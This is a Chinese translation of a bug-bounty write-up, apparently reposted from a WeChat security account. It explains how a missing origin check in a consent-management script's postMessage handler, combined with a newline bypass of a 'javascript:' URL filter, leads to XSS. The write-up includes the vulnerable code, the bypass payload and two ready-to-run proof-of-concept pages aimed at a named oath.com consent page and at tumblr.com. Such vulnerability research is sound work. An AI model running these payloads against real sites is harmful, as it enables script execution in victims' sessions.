前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >​从 JS 文件分析到 XSS 的一种方法

​从 JS 文件分析到 XSS 的一种方法

作者头像
信安百科
发布2023-10-02 18:28:17
发布2023-10-02 18:28:17
36600
代码可运行
举报
文章被收录于专栏:信安百科信安百科
运行总次数:0
代码可运行

0x00 概述

在研究其他漏洞赏金计划时,在 cmp3p.js 文件中发现了跨站点脚本漏洞,该漏洞允许攻击者在包含上述脚本的域上下文中执行任意 javascript 代码。

为了描述这项研究的影响,值得一提的是,所描述的研究也适用于包含 cmp3p.js 文件的任何其他主机。

0x01 浏览器的跨源通信

为了更好地理解此漏洞,浏览器实现的在源之间进行通信的一些机制。其中之一是postMessage。如果站点 A 在其源中有一个指向站点 B 的 <iframe>,我们可以从站点 A 访问站点 B 的 DOM 树。由于同源策略,要获得完全访问权限,站点 A 和 B 必须位于同源。否则,为了通信,其中一个站点需要添加onmessage甚至监听器,而第二个站点可以发送带有数据的事件,这些事件将由监听器中定义的函数进行处理。例如:

站点A

代码语言:javascript
代码运行次数:0
运行
复制
<script>
window.addEventListener("message", function(e) { 
   alert(e.data.toString());
});
</script>

站点B

代码语言:javascript
代码运行次数:0
运行
复制
<script>
window.parent.postMessage("Hello world.", "*");
</script>

上述机制不仅适用于框架和弹出窗口,也适用于两个选项卡。例如,如果站点 A 有指向站点 B 的超链接,将被点击——包含超链接的页面可以通过 window.opener 从新打开的选项卡访问。

0x02 分析

在我的研究过程中,我决定查看主要的 tumblr.com 页面,计划是发现它是否处理任何 postMessages。我发现 cmpStub.min.js 文件中有一个有趣的函数,它不检查 postMessage 的来源。在混淆的形式中,它看起来如下:

代码语言:javascript
代码运行次数:0
运行
复制
!function() {
            var e = !1;
            function t(e) {
                var t = "string" == typeof e.data
                  , n = e.data;
                if (t)
                    try {
                        n = JSON.parse(e.data)
                    } catch (e) {}
                if (n && n.__cmpCall) {
                    var r = n.__cmpCall;
                    window.__cmp(r.command, r.parameter, function(n, o) {
                        var a = {
                            __cmpReturn: {
                                returnValue: n,
                                success: o,
                                callId: r.callId
                            }
                        };
                        e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")
                    })
                }
            }

基于以上部分代码,值得注意的是:

1.它采用事件数据参数(作为 JSON 字符串),

2.使用 JSON.parse() 函数解析它,

3.创建包含属性cmpCall(即对象)的javascript对象n。

提到的 cmpCall 对象包含称为命令和参数的字段,它们都基于 window.__cmp() 函数:

代码语言:javascript
代码运行次数:0
运行
复制
     if (e)
                return {
                    init: function(e) {
                        if (!l.a.isInitialized())
                            if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},
                            p.uiUrl || p.organizationId)
                                if (c.a.isSafeUrl(p.uiUrl)) {
                                    p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),
                                    g.setGdpr("S"),
                                    g.setPublisherId(p.organizationId)),
                                    (t = p.sharedConsentDomain) && r.a.init(t),
                                    s.a.setCookieDomain(p.cookieDomain);
                                    var n = s.a.getGdprApplies();
                                    !0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),
                                    h(function(e) {
                                        e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                    }, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {
                                        n || (e = !0),
                                        s.a.setIsUserInEU(e),
                                        e ? (g.setGdpr("L"),
                                        h(function(e) {
                                            e ? l.a.initializationComplete() : b(l.a.initializationComplete)
                                        }, !0)) : l.a.initializationComplete()
                                    })
                                } else
                                    c.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

虽然这段代码被混淆了,但它的分析可能有问题,所以我将重点放在最重要的两行:

代码语言:javascript
代码运行次数:0
运行
复制
{code}
if (c.a.isSafeUrl(p.uiUrl)) {
{code}

检查 isSafeUrl 定义后,我们可以注意到它检查参数对象中提供的 URL(这可能由攻击者控制)是否安全:

代码语言:javascript
代码运行次数:0
运行
复制
isSafeUrl: function(e) {
return -1 === (e = (e || "").replace(" ",
"")).toLowerCase().indexOf("javascript:")
    },

如果作为函数参数提供的 URL 在开头包含javascript: string,则应将其视为不安全并返回 -1(并停止进一步执行)。

第二个有趣的行是:

代码语言:javascript
代码运行次数:0
运行
复制
e ? l.a.initializationComplete() : b(l.a.initializationComplete)

让我们看一下 b() 函数定义:

代码语言:javascript
代码运行次数:0
运行
复制
b = function(e) {
            g.markConsentRenderStartTime();
var n = p.uiUrl ? i.a : a.a;
            l.a.isInitialized() ? l.a.getConsentString(function(t, o) {
                p.consentString = t,
                n.renderConsents(p, function(n, t) {
                    g.setType("C").setGdprConsent(n).fire(),
                    w(n),
"function" == typeof e && e(n, t)
                })
            }) : n.renderConsents(p, function(n, t) {
                g.setType("C").setGdprConsent(n).fire(),
                w(n),
"function" == typeof e && e(n, t)
            })

和以前一样,被混淆了,难以阅读,但这里真正有趣的部分是 renderConsents() 函数,它将把我们带到这个漏洞的地步。定义:

代码语言:javascript
代码运行次数:0
运行
复制
renderConsents: function(n, p) {
if ((t = n || {}).siteDomain = window.location.origin,
                r = t.uiUrl) {
if (p && u.push(p),
                    !document.getElementById("cmp-container-id")) {
                        (i = document.createElement("div")).id = "cmp-container-id",
                        i.style.position = "fixed",
                        i.style.background = "rgba(0,0,0,.5)",
                        i.style.top = 0,
                        i.style.right = 0,
                        i.style.bottom = 0,
                        i.style.left = 0,
                        i.style.zIndex = 1e4,
document.body.appendChild(i),
                        (a = document.createElement("iframe")).style.position = "fixed",
                        a.src = r,
                        a.id = "cmp-ui-iframe",
                        a.width = 0,
                        a.height = 0,
                        a.style.display = "block",
                        a.style.border = 0,
                        i.style.zIndex = 10001,
                        l(),

如您所见,从安全角度来看, renderConsents()最终是一个有趣的元素,因为它创建的 iframe 元素具有由攻击者控制的 src 属性,攻击者可以控制该元素。我们可以通过提供代码作为 URI(在 src 属性中)使用<iframe>元素轻松执行 Javascript 代码,通过使用特殊的 URI 模式/协议,javascript。通过使用<iframe src=”javascript:alert(1)”></iframe>浏览器只会执行alert(1) Javascript 代码。这就是之前执行isSafeUrl()函数的原因。那么我们如何仍然可以在开始时传递包含 javascript 模式的 URL 呢?

很高兴知道我们仍然可以在 URL 的模式部分使用空白字符,浏览器将忽略这些字符。这为我们带来了非常简单的isSafeUrl()绕过,包括提供带有换行符的 URL 参数:

代码语言:javascript
代码运行次数:0
运行
复制
> url = "javascript:alert(document.domain);"
"javascript:alert(document.domain);"
> isSafeUrl(url)
false
> url="ja\nvascript:alert(document.domain);"
"ja
vascript:alert(document.domain);"
> isSafeUrl(url)
true

在这一步之后,通过使用这个 JSON 构造 postMessage,就可以执行 javascript 代码:

代码语言:javascript
代码运行次数:0
运行
复制
{
"__cmpCall": {
"command": "init",
"parameter": {
"uiUrl": "ja\nvascript:alert(document.domain)",
"uiCustomParams": "fdsfds",
"organizationId": "siabada",
"gdprAppliesGlobally": "fdfdsfds"
        }
    }
}

要将此消息传递到易受攻击的页面,我们还需要有一个指向其窗口对象的链接,这可以通过将易受攻击的页面放入 iframe 来轻松实现。当我们总结所有描述的步骤时,最终的概念验证如下所示:

代码语言:javascript
代码运行次数:0
运行
复制
<html><body>

<script>
window.setInterval(function(e) {
try {
   window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
 } catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe> 

只要页面不包含 X-Frame-Options 标头,就不需要任何额外的用户交互,访问恶意网站就足够了。如果应用程序实现 X-Frame-Options 标头,此漏洞将不允许攻击者构建目标页面。整个攻击将需要在两个浏览器选项卡之间创建连接以通过 window.opener 传递 postMessages,这也非常简单:

1.创建一个包含指向自身的超链接的页面。

2.在循环中执行带有负载的 window.opener.postMessage() 函数。

3.单击链接后 - 新选项卡打开(选项卡之间有 window.opener 连接)

4.单击链接后直接将第一页重定向到目标(onclick事件)

这就是 tumblr.com 页面的情况,该页面还包含易受攻击的 cmp.js 代码,但由于 X-Frame-Options 标头,页面本身不可构建。所以 Tumblr 漏洞利用代码如下所示:

代码语言:javascript
代码运行次数:0
运行
复制
<html><body>
<script>
function e() {
window.setTimeout(function() {
window.location.href="https://www.tumblr.com/embed/post/";
  }, 500);
}
window.setInterval(function(e) {
try {   window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");
 } catch(e) {}
}, 100);
</script>

<a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>

PS:

翻译的不是很顺畅,有些知识点,感觉很模糊,不过作者的思路,还有调试js的方法还是值得学习的,故翻译此文,记录一下。不喜勿喷!!!

推荐阅读:

CNVD-2023-34111|Apache Solr 8.3.1 RCE

CVE-2023-25135|vBulletin反序列化代码执行漏洞

CVE-2023-29084|Zoho ManageEngine ADManager Plus 远程代码执行漏洞

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023/05/28 20:05:07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档